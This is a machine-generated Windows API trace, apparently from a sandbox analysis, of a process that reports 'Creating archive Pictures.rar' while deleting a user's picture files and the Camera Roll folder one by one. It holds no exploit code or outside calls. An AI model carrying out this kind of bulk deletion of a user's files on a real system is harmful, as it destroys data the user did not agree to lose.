GetWindowTextW (in: hWnd=0x102c8, lpString=0xf00f8dbc30, nMaxCount=2560 | out: lpString=" 25%") returned 5 [0068.234] SetWindowTextW (hWnd=0x102c8, lpString=" 55%") returned 1 [0068.235] SendMessageW (hWnd=0x102ca, Msg=0x402, wParam=0x37, lParam=0x0) returned 0x19 [0068.235] QueryPerformanceCounter (in: lpPerformanceCount=0xf00f8dd4b0 | out: lpPerformanceCount=0xf00f8dd4b0*=15956412971) returned 1 [0068.236] GetTickCount () returned 0x26f2b [0068.236] GetTickCount () returned 0x26f2b [0068.236] PeekMessageW (in: lpMsg=0xf00f8dd540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd540) returned 1 [0068.236] GetMessageW (in: lpMsg=0xf00f8dd4d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xf00f8dd4d0) returned 1 [0068.236] GetFocus () returned 0x102e2 [0068.236] IsDialogMessageW (hDlg=0x102be, lpMsg=0xf00f8dd4d0) returned 1 [0068.236] DeleteFileW (lpFileName="gTXyE1NkEEb.jpg" (normalized: "c:\\users\\fd1hvy\\pictures\\gtxye1nkeeb.jpg")) returned 1 [0068.237] GetWindowTextW (in: hWnd=0x102be, lpString=0xf00f8db900, nMaxCount=512 | out: lpString="Creating archive Pictures.rar") returned 29 [0068.237] GetDlgItem (hDlg=0x102be, nIDDlgItem=156) returned 0x102c4 [0068.237] GetWindowTextW (in: hWnd=0x102c4, lpString=0xf00f8da4b0, nMaxCount=2560 | out: lpString="") returned 0 [0068.237] SetWindowTextW (hWnd=0x102c4, lpString="Deleting") returned 1 [0068.238] GetDlgItem (hDlg=0x102be, nIDDlgItem=155) returned 0x102c6 [0068.238] GetWindowTextW (in: hWnd=0x102c6, lpString=0xf00f8da4b0, nMaxCount=2560 | out: lpString="") returned 0 [0068.238] SetWindowTextW (hWnd=0x102c6, lpString="gTXyE1NkEEb.jpg") returned 1 [0068.238] GetTickCount () returned 0x26f2b [0068.238] GetDlgItem (hDlg=0x102be, nIDDlgItem=156) returned 0x102c4 [0068.238] GetWindowTextW (in: hWnd=0x102c4, lpString=0xf00f8dc160, nMaxCount=2560 | out: lpString="Deleting") returned 8 [0068.238] SetWindowTextW (hWnd=0x102c4, lpString="") returned 1 [0068.239] GetDlgItem (hDlg=0x102be, nIDDlgItem=155) returned 0x102c6 [0068.239] GetWindowTextW (in: hWnd=0x102c6, lpString=0xf00f8dc160, nMaxCount=2560 | out: lpString="gTXyE1NkEEb.jpg") returned 15 [0068.239] SetWindowTextW (hWnd=0x102c6, lpString="") returned 1 [0068.239] GetTickCount () returned 0x26f2b [0068.239] QueryPerformanceCounter (in: lpPerformanceCount=0xf00f8dd4b0 | out: lpPerformanceCount=0xf00f8dd4b0*=15956774790) returned 1 [0068.239] GetTickCount () returned 0x26f2b [0068.239] GetTickCount () returned 0x26f2b [0068.239] PeekMessageW (in: lpMsg=0xf00f8dd540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd540) returned 0 [0068.239] DeleteFileW (lpFileName="g6r96fa7GyN6.gif" (normalized: "c:\\users\\fd1hvy\\pictures\\g6r96fa7gyn6.gif")) returned 1 [0068.240] GetWindowTextW (in: hWnd=0x102be, lpString=0xf00f8db900, nMaxCount=512 | out: lpString="Creating archive Pictures.rar") returned 29 [0068.240] GetDlgItem (hDlg=0x102be, nIDDlgItem=156) returned 0x102c4 [0068.241] GetWindowTextW (in: hWnd=0x102c4, lpString=0xf00f8da4b0, nMaxCount=2560 | out: lpString="") returned 0 [0068.241] SetWindowTextW (hWnd=0x102c4, lpString="Deleting") returned 1 [0068.241] GetDlgItem (hDlg=0x102be, nIDDlgItem=155) returned 0x102c6 [0068.241] GetWindowTextW (in: hWnd=0x102c6, lpString=0xf00f8da4b0, nMaxCount=2560 | out: lpString="") returned 0 [0068.241] SetWindowTextW (hWnd=0x102c6, lpString="g6r96fa7GyN6.gif") returned 1 [0068.241] GetTickCount () returned 0x26f2b [0068.241] GetDlgItem (hDlg=0x102be, nIDDlgItem=156) returned 0x102c4 [0068.242] GetWindowTextW (in: hWnd=0x102c4, lpString=0xf00f8dc160, nMaxCount=2560 | out: lpString="Deleting") returned 8 [0068.242] SetWindowTextW (hWnd=0x102c4, lpString="") returned 1 [0068.242] GetDlgItem (hDlg=0x102be, nIDDlgItem=155) returned 0x102c6 [0068.242] GetWindowTextW (in: hWnd=0x102c6, lpString=0xf00f8dc160, nMaxCount=2560 | out: lpString="g6r96fa7GyN6.gif") returned 16 [0068.242] SetWindowTextW (hWnd=0x102c6, lpString="") returned 1 [0068.242] GetTickCount () returned 0x26f2b [0068.242] QueryPerformanceCounter (in: lpPerformanceCount=0xf00f8dd4b0 | out: lpPerformanceCount=0xf00f8dd4b0*=15957093506) returned 1 [0068.242] GetTickCount () returned 0x26f2b [0068.242] GetTickCount () returned 0x26f2b [0068.242] PeekMessageW (in: lpMsg=0xf00f8dd540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd540) returned 0 [0068.243] PeekMessageW (in: lpMsg=0xf00f8dd5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd5a0) returned 0 [0068.243] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.243] DeleteFileW (lpFileName="FiPd_4qvOx8j.jpg" (normalized: "c:\\users\\fd1hvy\\pictures\\fipd_4qvox8j.jpg")) returned 1 [0068.244] GetWindowTextW (in: hWnd=0x102be, lpString=0xf00f8db900, nMaxCount=512 | out: lpString="Creating archive Pictures.rar") returned 29 [0068.244] GetDlgItem (hDlg=0x102be, nIDDlgItem=156) returned 0x102c4 [0068.244] GetWindowTextW (in: hWnd=0x102c4, lpString=0xf00f8da4b0, nMaxCount=2560 | out: lpString="") returned 0 [0068.244] SetWindowTextW (hWnd=0x102c4, lpString="Deleting") returned 1 [0068.245] GetDlgItem (hDlg=0x102be, nIDDlgItem=155) returned 0x102c6 [0068.245] GetWindowTextW (in: hWnd=0x102c6, lpString=0xf00f8da4b0, nMaxCount=2560 | out: lpString="") returned 0 [0068.245] SetWindowTextW (hWnd=0x102c6, lpString="FiPd_4qvOx8j.jpg") returned 1 [0068.248] GetTickCount () returned 0x26f3a [0068.248] GetDlgItem (hDlg=0x102be, nIDDlgItem=156) returned 0x102c4 [0068.248] GetWindowTextW (in: hWnd=0x102c4, lpString=0xf00f8dc160, nMaxCount=2560 | out: lpString="Deleting") returned 8 [0068.248] SetWindowTextW (hWnd=0x102c4, lpString="") returned 1 [0068.249] GetDlgItem (hDlg=0x102be, nIDDlgItem=155) returned 0x102c6 [0068.249] GetWindowTextW (in: hWnd=0x102c6, lpString=0xf00f8dc160, nMaxCount=2560 | out: lpString="FiPd_4qvOx8j.jpg") returned 16 [0068.249] SetWindowTextW (hWnd=0x102c6, lpString="") returned 1 [0068.249] GetTickCount () returned 0x26f3a [0068.249] QueryPerformanceCounter (in: lpPerformanceCount=0xf00f8dd4b0 | out: lpPerformanceCount=0xf00f8dd4b0*=15957764770) returned 1 [0068.249] GetTickCount () returned 0x26f3a [0068.249] GetTickCount () returned 0x26f3a [0068.249] PeekMessageW (in: lpMsg=0xf00f8dd540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd540) returned 0 [0068.249] DeleteFileW (lpFileName="dw0z-rObH0-zF2.png" (normalized: "c:\\users\\fd1hvy\\pictures\\dw0z-robh0-zf2.png")) returned 1 [0068.250] GetWindowTextW (in: hWnd=0x102be, lpString=0xf00f8db900, nMaxCount=512 | out: lpString="Creating archive Pictures.rar") returned 29 [0068.250] GetDlgItem (hDlg=0x102be, nIDDlgItem=156) returned 0x102c4 [0068.251] GetWindowTextW (in: hWnd=0x102c4, lpString=0xf00f8da4b0, nMaxCount=2560 | out: lpString="") returned 0 [0068.251] SetWindowTextW (hWnd=0x102c4, lpString="Deleting") returned 1 [0068.251] GetDlgItem (hDlg=0x102be, nIDDlgItem=155) returned 0x102c6 [0068.251] GetWindowTextW (in: hWnd=0x102c6, lpString=0xf00f8da4b0, nMaxCount=2560 | out: lpString="") returned 0 [0068.251] SetWindowTextW (hWnd=0x102c6, lpString="dw0z-rObH0-zF2.png") returned 1 [0068.252] GetTickCount () returned 0x26f3a [0068.252] GetDlgItem (hDlg=0x102be, nIDDlgItem=156) returned 0x102c4 [0068.252] GetWindowTextW (in: hWnd=0x102c4, lpString=0xf00f8dc160, nMaxCount=2560 | out: lpString="Deleting") returned 8 [0068.252] SetWindowTextW (hWnd=0x102c4, lpString="") returned 1 [0068.252] GetDlgItem (hDlg=0x102be, nIDDlgItem=155) returned 0x102c6 [0068.252] GetWindowTextW (in: hWnd=0x102c6, lpString=0xf00f8dc160, nMaxCount=2560 | out: lpString="dw0z-rObH0-zF2.png") returned 18 [0068.252] SetWindowTextW (hWnd=0x102c6, lpString="") returned 1 [0068.253] GetTickCount () returned 0x26f3a [0068.253] QueryPerformanceCounter (in: lpPerformanceCount=0xf00f8dd4b0 | out: lpPerformanceCount=0xf00f8dd4b0*=15958129288) returned 1 [0068.253] GetTickCount () returned 0x26f3a [0068.253] GetTickCount () returned 0x26f3a [0068.253] PeekMessageW (in: lpMsg=0xf00f8dd540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd540) returned 0 [0068.253] SetFileAttributesW (lpFileName="desktop.ini", dwFileAttributes=0x0) returned 1 [0068.253] DeleteFileW (lpFileName="desktop.ini" (normalized: "c:\\users\\fd1hvy\\pictures\\desktop.ini")) returned 1 [0068.254] GetWindowTextW (in: hWnd=0x102be, lpString=0xf00f8db900, nMaxCount=512 | out: lpString="Creating archive Pictures.rar") returned 29 [0068.254] GetDlgItem (hDlg=0x102be, nIDDlgItem=156) returned 0x102c4 [0068.254] GetWindowTextW (in: hWnd=0x102c4, lpString=0xf00f8da4b0, nMaxCount=2560 | out: lpString="") returned 0 [0068.254] SetWindowTextW (hWnd=0x102c4, lpString="Deleting") returned 1 [0068.255] GetDlgItem (hDlg=0x102be, nIDDlgItem=155) returned 0x102c6 [0068.255] GetWindowTextW (in: hWnd=0x102c6, lpString=0xf00f8da4b0, nMaxCount=2560 | out: lpString="") returned 0 [0068.255] SetWindowTextW (hWnd=0x102c6, lpString="desktop.ini") returned 1 [0068.255] GetTickCount () returned 0x26f3a [0068.255] GetDlgItem (hDlg=0x102be, nIDDlgItem=156) returned 0x102c4 [0068.255] GetWindowTextW (in: hWnd=0x102c4, lpString=0xf00f8dc160, nMaxCount=2560 | out: lpString="Deleting") returned 8 [0068.255] SetWindowTextW (hWnd=0x102c4, lpString="") returned 1 [0068.256] GetDlgItem (hDlg=0x102be, nIDDlgItem=155) returned 0x102c6 [0068.256] GetWindowTextW (in: hWnd=0x102c6, lpString=0xf00f8dc160, nMaxCount=2560 | out: lpString="desktop.ini") returned 11 [0068.256] SetWindowTextW (hWnd=0x102c6, lpString="") returned 1 [0068.256] GetTickCount () returned 0x26f3a [0068.256] QueryPerformanceCounter (in: lpPerformanceCount=0xf00f8dd4b0 | out: lpPerformanceCount=0xf00f8dd4b0*=15958492398) returned 1 [0068.256] GetTickCount () returned 0x26f3a [0068.256] GetTickCount () returned 0x26f3a [0068.256] PeekMessageW (in: lpMsg=0xf00f8dd540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd540) returned 0 [0068.256] DeleteFileW (lpFileName="Cg4L5J0Hp5g.bmp" (normalized: "c:\\users\\fd1hvy\\pictures\\cg4l5j0hp5g.bmp")) returned 1 [0068.257] GetWindowTextW (in: hWnd=0x102be, lpString=0xf00f8db900, nMaxCount=512 | out: lpString="Creating archive Pictures.rar") returned 29 [0068.258] GetDlgItem (hDlg=0x102be, nIDDlgItem=156) returned 0x102c4 [0068.258] GetWindowTextW (in: hWnd=0x102c4, lpString=0xf00f8da4b0, nMaxCount=2560 | out: lpString="") returned 0 [0068.258] SetWindowTextW (hWnd=0x102c4, lpString="Deleting") returned 1 [0068.258] GetDlgItem (hDlg=0x102be, nIDDlgItem=155) returned 0x102c6 [0068.258] GetWindowTextW (in: hWnd=0x102c6, lpString=0xf00f8da4b0, nMaxCount=2560 | out: lpString="") returned 0 [0068.258] SetWindowTextW (hWnd=0x102c6, lpString="Cg4L5J0Hp5g.bmp") returned 1 [0068.259] GetTickCount () returned 0x26f3a [0068.259] GetDlgItem (hDlg=0x102be, nIDDlgItem=156) returned 0x102c4 [0068.259] GetWindowTextW (in: hWnd=0x102c4, lpString=0xf00f8dc160, nMaxCount=2560 | out: lpString="Deleting") returned 8 [0068.259] SetWindowTextW (hWnd=0x102c4, lpString="") returned 1 [0068.259] GetDlgItem (hDlg=0x102be, nIDDlgItem=155) returned 0x102c6 [0068.259] GetWindowTextW (in: hWnd=0x102c6, lpString=0xf00f8dc160, nMaxCount=2560 | out: lpString="Cg4L5J0Hp5g.bmp") returned 15 [0068.259] SetWindowTextW (hWnd=0x102c6, lpString="") returned 1 [0068.260] GetTickCount () returned 0x26f3a [0068.260] QueryPerformanceCounter (in: lpPerformanceCount=0xf00f8dd4b0 | out: lpPerformanceCount=0xf00f8dd4b0*=15958842777) returned 1 [0068.260] GetTickCount () returned 0x26f3a [0068.260] GetTickCount () returned 0x26f3a [0068.260] PeekMessageW (in: lpMsg=0xf00f8dd540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd540) returned 0 [0068.260] SetFileAttributesW (lpFileName="Camera Roll\\desktop.ini", dwFileAttributes=0x0) returned 1 [0068.260] DeleteFileW (lpFileName="Camera Roll\\desktop.ini" (normalized: "c:\\users\\fd1hvy\\pictures\\camera roll\\desktop.ini")) returned 1 [0068.261] GetWindowTextW (in: hWnd=0x102be, lpString=0xf00f8db900, nMaxCount=512 | out: lpString="Creating archive Pictures.rar") returned 29 [0068.262] GetDlgItem (hDlg=0x102be, nIDDlgItem=156) returned 0x102c4 [0068.262] GetWindowTextW (in: hWnd=0x102c4, lpString=0xf00f8da4b0, nMaxCount=2560 | out: lpString="") returned 0 [0068.262] SetWindowTextW (hWnd=0x102c4, lpString="Deleting") returned 1 [0068.262] GetDlgItem (hDlg=0x102be, nIDDlgItem=155) returned 0x102c6 [0068.262] GetWindowTextW (in: hWnd=0x102c6, lpString=0xf00f8da4b0, nMaxCount=2560 | out: lpString="") returned 0 [0068.262] SetWindowTextW (hWnd=0x102c6, lpString="desktop.ini") returned 1 [0068.262] GetTickCount () returned 0x26f4a [0068.263] GetDlgItem (hDlg=0x102be, nIDDlgItem=156) returned 0x102c4 [0068.263] GetWindowTextW (in: hWnd=0x102c4, lpString=0xf00f8dc160, nMaxCount=2560 | out: lpString="Deleting") returned 8 [0068.263] SetWindowTextW (hWnd=0x102c4, lpString="") returned 1 [0068.263] GetDlgItem (hDlg=0x102be, nIDDlgItem=155) returned 0x102c6 [0068.263] GetWindowTextW (in: hWnd=0x102c6, lpString=0xf00f8dc160, nMaxCount=2560 | out: lpString="desktop.ini") returned 11 [0068.263] SetWindowTextW (hWnd=0x102c6, lpString="") returned 1 [0068.263] GetTickCount () returned 0x26f4a [0068.263] QueryPerformanceCounter (in: lpPerformanceCount=0xf00f8dd4b0 | out: lpPerformanceCount=0xf00f8dd4b0*=15959187191) returned 1 [0068.263] GetTickCount () returned 0x26f4a [0068.263] GetTickCount () returned 0x26f4a [0068.263] PeekMessageW (in: lpMsg=0xf00f8dd540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd540) returned 1 [0068.263] GetMessageW (in: lpMsg=0xf00f8dd4d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xf00f8dd4d0) returned 1 [0068.263] GetFocus () returned 0x102e2 [0068.264] IsDialogMessageW (hDlg=0x102be, lpMsg=0xf00f8dd4d0) returned 1 [0068.264] SetFileAttributesW (lpFileName="Camera Roll", dwFileAttributes=0x0) returned 1 [0068.264] RemoveDirectoryW (lpPathName="Camera Roll" (normalized: "c:\\users\\fd1hvy\\pictures\\camera roll")) returned 1 [0068.367] GetWindowTextW (in: hWnd=0x102be, lpString=0xf00f8db900, nMaxCount=512 | out: lpString="Creating archive Pictures.rar") returned 29 [0068.367] GetDlgItem (hDlg=0x102be, nIDDlgItem=156) returned 0x102c4 [0068.367] GetWindowTextW (in: hWnd=0x102c4, lpString=0xf00f8da4b0, nMaxCount=2560 | out: lpString="") returned 0 [0068.367] SetWindowTextW (hWnd=0x102c4, lpString="Deleting") returned 1 [0068.367] GetDlgItem (hDlg=0x102be, nIDDlgItem=155) returned 0x102c6 [0068.368] GetWindowTextW (in: hWnd=0x102c6, lpString=0xf00f8da4b0, nMaxCount=2560 | out: lpString="") returned 0 [0068.368] SetWindowTextW (hWnd=0x102c6, lpString="Camera Roll") returned 1 [0068.368] GetTickCount () returned 0x26fa8 [0068.368] UpdateWindow (hWnd=0x102be) returned 1 [0068.369] GetDlgItem (hDlg=0x102be, nIDDlgItem=156) returned 0x102c4 [0068.369] GetWindowTextW (in: hWnd=0x102c4, lpString=0xf00f8dc160, nMaxCount=2560 | out: lpString="Deleting") returned 8 [0068.369] SetWindowTextW (hWnd=0x102c4, lpString="") returned 1 [0068.369] GetDlgItem (hDlg=0x102be, nIDDlgItem=155) returned 0x102c6 [0068.369] GetWindowTextW (in: hWnd=0x102c6, lpString=0xf00f8dc160, nMaxCount=2560 | out: lpString="Camera Roll") returned 11 [0068.369] SetWindowTextW (hWnd=0x102c6, lpString="") returned 1 [0068.369] GetTickCount () returned 0x26fa8 [0068.369] GetLastError () returned 0x0 [0068.369] SetLastError (dwErrCode=0x0) [0068.370] GetDlgItem (hDlg=0x102be, nIDDlgItem=158) returned 0x102ca [0068.370] GetDlgItem (hDlg=0x102be, nIDDlgItem=153) returned 0x102c8 [0068.370] GetWindowTextW (in: hWnd=0x102c8, lpString=0xf00f8dbc30, nMaxCount=2560 | out: lpString=" 55%") returned 5 [0068.370] SetWindowTextW (hWnd=0x102c8, lpString=" 74%") returned 1 [0068.476] SendMessageW (hWnd=0x102ca, Msg=0x402, wParam=0x4a, lParam=0x0) returned 0x37 [0068.476] QueryPerformanceCounter (in: lpPerformanceCount=0xf00f8dd4b0 | out: lpPerformanceCount=0xf00f8dd4b0*=15980513390) returned 1 [0068.477] GetTickCount () returned 0x27015 [0068.477] GetLastError () returned 0x0 [0068.477] SetLastError (dwErrCode=0x0) [0068.477] GetDlgItem (hDlg=0x102be, nIDDlgItem=154) returned 0x102d0 [0068.477] GetWindowTextW (in: hWnd=0x102d0, lpString=0xf00f8dc090, nMaxCount=2560 | out: lpString="00:00:04") returned 8 [0068.477] SetWindowTextW (hWnd=0x102d0, lpString="00:00:05") returned 1 [0068.477] GetTickCount () returned 0x27015 [0068.477] GetLastError () returned 0x0 [0068.477] SetLastError (dwErrCode=0x0) [0068.477] GetDlgItem (hDlg=0x102be, nIDDlgItem=151) returned 0x102d4 [0068.477] GetWindowTextW (in: hWnd=0x102d4, lpString=0xf00f8dc090, nMaxCount=2560 | out: lpString="00:00:00") returned 8 [0068.477] SetWindowTextW (hWnd=0x102d4, lpString="00:00:02") returned 1 [0068.478] PeekMessageW (in: lpMsg=0xf00f8dd540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd540) returned 1 [0068.478] GetMessageW (in: lpMsg=0xf00f8dd4d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xf00f8dd4d0) returned 1 [0068.478] GetFocus () returned 0x102e2 [0068.478] IsDialogMessageW (hDlg=0x102be, lpMsg=0xf00f8dd4d0) returned 1 [0068.479] DeleteFileW (lpFileName="c9ZaReaCiTG.png" (normalized: "c:\\users\\fd1hvy\\pictures\\c9zareacitg.png")) returned 1 [0068.481] GetWindowTextW (in: hWnd=0x102be, lpString=0xf00f8db900, nMaxCount=512 | out: lpString="Creating archive Pictures.rar") returned 29 [0068.482] GetDlgItem (hDlg=0x102be, nIDDlgItem=156) returned 0x102c4 [0068.482] GetWindowTextW (in: hWnd=0x102c4, lpString=0xf00f8da4b0, nMaxCount=2560 | out: lpString="") returned 0 [0068.482] SetWindowTextW (hWnd=0x102c4, lpString="Deleting") returned 1 [0068.482] GetDlgItem (hDlg=0x102be, nIDDlgItem=155) returned 0x102c6 [0068.482] GetWindowTextW (in: hWnd=0x102c6, lpString=0xf00f8da4b0, nMaxCount=2560 | out: lpString="") returned 0 [0068.482] SetWindowTextW (hWnd=0x102c6, lpString="c9ZaReaCiTG.png") returned 1 [0068.483] GetTickCount () returned 0x27025 [0068.483] UpdateWindow (hWnd=0x102be) returned 1 [0068.483] GetDlgItem (hDlg=0x102be, nIDDlgItem=156) returned 0x102c4 [0068.483] GetWindowTextW (in: hWnd=0x102c4, lpString=0xf00f8dc160, nMaxCount=2560 | out: lpString="Deleting") returned 8 [0068.483] SetWindowTextW (hWnd=0x102c4, lpString="") returned 1 [0068.483] GetDlgItem (hDlg=0x102be, nIDDlgItem=155) returned 0x102c6 [0068.483] GetWindowTextW (in: hWnd=0x102c6, lpString=0xf00f8dc160, nMaxCount=2560 | out: lpString="c9ZaReaCiTG.png") returned 15 [0068.483] SetWindowTextW (hWnd=0x102c6, lpString="") returned 1 [0068.483] GetTickCount () returned 0x27025 [0068.483] GetLastError () returned 0x0 [0068.483] SetLastError (dwErrCode=0x0) [0068.483] GetDlgItem (hDlg=0x102be, nIDDlgItem=158) returned 0x102ca [0068.483] GetDlgItem (hDlg=0x102be, nIDDlgItem=153) returned 0x102c8 [0068.483] GetWindowTextW (in: hWnd=0x102c8, lpString=0xf00f8dbc30, nMaxCount=2560 | out: lpString=" 74%") returned 5 [0068.483] SetWindowTextW (hWnd=0x102c8, lpString=" 76%") returned 1 [0068.484] SendMessageW (hWnd=0x102ca, Msg=0x402, wParam=0x4c, lParam=0x0) returned 0x4a [0068.484] QueryPerformanceCounter (in: lpPerformanceCount=0xf00f8dd4b0 | out: lpPerformanceCount=0xf00f8dd4b0*=15981256637) returned 1 [0068.484] GetTickCount () returned 0x27025 [0068.484] GetTickCount () returned 0x27025 [0068.484] PeekMessageW (in: lpMsg=0xf00f8dd540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd540) returned 1 [0068.484] GetMessageW (in: lpMsg=0xf00f8dd4d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xf00f8dd4d0) returned 1 [0068.484] GetFocus () returned 0x102e2 [0068.484] IsDialogMessageW (hDlg=0x102be, lpMsg=0xf00f8dd4d0) returned 1 [0068.485] DeleteFileW (lpFileName="awTUht89JcK2K D7j9i.png" (normalized: "c:\\users\\fd1hvy\\pictures\\awtuht89jck2k d7j9i.png")) returned 1 [0068.488] GetWindowTextW (in: hWnd=0x102be, lpString=0xf00f8db900, nMaxCount=512 | out: lpString="Creating archive Pictures.rar") returned 29 [0068.488] GetDlgItem (hDlg=0x102be, nIDDlgItem=156) returned 0x102c4 [0068.488] GetWindowTextW (in: hWnd=0x102c4, lpString=0xf00f8da4b0, nMaxCount=2560 | out: lpString="") returned 0 [0068.488] SetWindowTextW (hWnd=0x102c4, lpString="Deleting") returned 1 [0068.488] GetDlgItem (hDlg=0x102be, nIDDlgItem=155) returned 0x102c6 [0068.488] GetWindowTextW (in: hWnd=0x102c6, lpString=0xf00f8da4b0, nMaxCount=2560 | out: lpString="") returned 0 [0068.488] SetWindowTextW (hWnd=0x102c6, lpString="awTUht89JcK2K D7j9i.png") returned 1 [0068.489] GetTickCount () returned 0x27025 [0068.489] GetDlgItem (hDlg=0x102be, nIDDlgItem=156) returned 0x102c4 [0068.489] GetWindowTextW (in: hWnd=0x102c4, lpString=0xf00f8dc160, nMaxCount=2560 | out: lpString="Deleting") returned 8 [0068.489] SetWindowTextW (hWnd=0x102c4, lpString="") returned 1 [0068.489] GetDlgItem (hDlg=0x102be, nIDDlgItem=155) returned 0x102c6 [0068.489] GetWindowTextW (in: hWnd=0x102c6, lpString=0xf00f8dc160, nMaxCount=2560 | out: lpString="awTUht89JcK2K D7j9i.png") returned 23 [0068.489] SetWindowTextW (hWnd=0x102c6, lpString="") returned 1 [0068.490] GetTickCount () returned 0x27025 [0068.490] QueryPerformanceCounter (in: lpPerformanceCount=0xf00f8dd4b0 | out: lpPerformanceCount=0xf00f8dd4b0*=15981816437) returned 1 [0068.490] GetTickCount () returned 0x27025 [0068.490] GetTickCount () returned 0x27025 [0068.490] PeekMessageW (in: lpMsg=0xf00f8dd540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd540) returned 1 [0068.490] GetMessageW (in: lpMsg=0xf00f8dd4d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xf00f8dd4d0) returned 1 [0068.490] GetFocus () returned 0x102e2 [0068.490] IsDialogMessageW (hDlg=0x102be, lpMsg=0xf00f8dd4d0) returned 1 [0068.490] DeleteFileW (lpFileName="aHz4Hx-PBeuX.png" (normalized: "c:\\users\\fd1hvy\\pictures\\ahz4hx-pbeux.png")) returned 1 [0068.491] GetWindowTextW (in: hWnd=0x102be, lpString=0xf00f8db900, nMaxCount=512 | out: lpString="Creating archive Pictures.rar") returned 29 [0068.491] GetDlgItem (hDlg=0x102be, nIDDlgItem=156) returned 0x102c4 [0068.491] GetWindowTextW (in: hWnd=0x102c4, lpString=0xf00f8da4b0, nMaxCount=2560 | out: lpString="") returned 0 [0068.491] SetWindowTextW (hWnd=0x102c4, lpString="Deleting") returned 1 [0068.492] GetDlgItem (hDlg=0x102be, nIDDlgItem=155) returned 0x102c6 [0068.492] GetWindowTextW (in: hWnd=0x102c6, lpString=0xf00f8da4b0, nMaxCount=2560 | out: lpString="") returned 0 [0068.492] SetWindowTextW (hWnd=0x102c6, lpString="aHz4Hx-PBeuX.png") returned 1 [0068.492] GetTickCount () returned 0x27025 [0068.492] GetDlgItem (hDlg=0x102be, nIDDlgItem=156) returned 0x102c4 [0068.492] GetWindowTextW (in: hWnd=0x102c4, lpString=0xf00f8dc160, nMaxCount=2560 | out: lpString="Deleting") returned 8 [0068.492] SetWindowTextW (hWnd=0x102c4, lpString="") returned 1 [0068.492] GetDlgItem (hDlg=0x102be, nIDDlgItem=155) returned 0x102c6 [0068.492] GetWindowTextW (in: hWnd=0x102c6, lpString=0xf00f8dc160, nMaxCount=2560 | out: lpString="aHz4Hx-PBeuX.png") returned 16 [0068.492] SetWindowTextW (hWnd=0x102c6, lpString="") returned 1 [0068.493] GetTickCount () returned 0x27025 [0068.493] QueryPerformanceCounter (in: lpPerformanceCount=0xf00f8dd4b0 | out: lpPerformanceCount=0xf00f8dd4b0*=15982140310) returned 1 [0068.493] GetTickCount () returned 0x27025 [0068.493] GetTickCount () returned 0x27025 [0068.493] PeekMessageW (in: lpMsg=0xf00f8dd540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd540) returned 1 [0068.493] GetMessageW (in: lpMsg=0xf00f8dd4d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xf00f8dd4d0) returned 1 [0068.493] GetFocus () returned 0x102e2 [0068.493] IsDialogMessageW (hDlg=0x102be, lpMsg=0xf00f8dd4d0) returned 1 [0068.493] DeleteFileW (lpFileName="A4ii4MOpBgpQwQBT.jpg" (normalized: "c:\\users\\fd1hvy\\pictures\\a4ii4mopbgpqwqbt.jpg")) returned 1 [0068.494] GetWindowTextW (in: hWnd=0x102be, lpString=0xf00f8db900, nMaxCount=512 | out: lpString="Creating archive Pictures.rar") returned 29 [0068.495] GetDlgItem (hDlg=0x102be, nIDDlgItem=156) returned 0x102c4 [0068.495] GetWindowTextW (in: hWnd=0x102c4, lpString=0xf00f8da4b0, nMaxCount=2560 | out: lpString="") returned 0 [0068.495] SetWindowTextW (hWnd=0x102c4, lpString="Deleting") returned 1 [0068.497] GetDlgItem (hDlg=0x102be, nIDDlgItem=155) returned 0x102c6 [0068.497] GetWindowTextW (in: hWnd=0x102c6, lpString=0xf00f8da4b0, nMaxCount=2560 | out: lpString="") returned 0 [0068.497] SetWindowTextW (hWnd=0x102c6, lpString="A4ii4MOpBgpQwQBT.jpg") returned 1 [0068.497] GetTickCount () returned 0x27034 [0068.497] GetDlgItem (hDlg=0x102be, nIDDlgItem=156) returned 0x102c4 [0068.497] GetWindowTextW (in: hWnd=0x102c4, lpString=0xf00f8dc160, nMaxCount=2560 | out: lpString="Deleting") returned 8 [0068.497] SetWindowTextW (hWnd=0x102c4, lpString="") returned 1 [0068.498] GetDlgItem (hDlg=0x102be, nIDDlgItem=155) returned 0x102c6 [0068.498] GetWindowTextW (in: hWnd=0x102c6, lpString=0xf00f8dc160, nMaxCount=2560 | out: lpString="A4ii4MOpBgpQwQBT.jpg") returned 20 [0068.498] SetWindowTextW (hWnd=0x102c6, lpString="") returned 1 [0068.498] GetTickCount () returned 0x27034 